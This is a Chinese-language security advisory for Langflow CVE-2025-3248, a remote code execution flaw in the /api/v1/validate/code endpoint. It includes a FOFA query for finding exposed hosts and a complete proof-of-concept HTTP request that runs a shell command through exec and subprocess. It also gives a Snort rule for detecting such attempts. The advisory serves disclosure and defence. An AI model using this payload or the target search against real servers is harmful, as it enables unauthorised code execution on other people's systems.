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Langflow（CVE-2025-3248） 远程代码执行漏洞

Langflow /api/v1/validate/code处存在远程代码执行漏洞，攻击者可进行任意代码执行攻击。

影响版本

Langflow

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：product="LOGSPACE-LangFlow"

POC/EXP：

POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json

{

  "code":

  "def exploit(cmd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\",shell=True))')):\n\n pass"

}

image-20250410121754883

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Langflow Code Injection Attempt - Extended Patterns";
    flow:to_server,established;
    content:"POST"; http_method;
    pcre:"/\/api\/v1\/validate\/code/i";
    content:"application/json"; http_header;
    pcre:"/\"code\"\s*\:\s*\"[^\"]*?(exec\(|eval\(|__import__\([\"'](os|subprocess|sys)[\"']\)|(os|subprocess)\.(system|popen|check_output)\(|shell\=True|import\s+os\s*\,)/i";
    metadata:cve,CVE-2025-3248;
    metadata:affected_product "Langflow";
    metadata:severity "critical";
    reference:url,www.example.com/langflow-security-advisory;
    classtype:web-application-attack;
    sid:1000011;
    rev:2;
    priority:1;
)

漏洞修复

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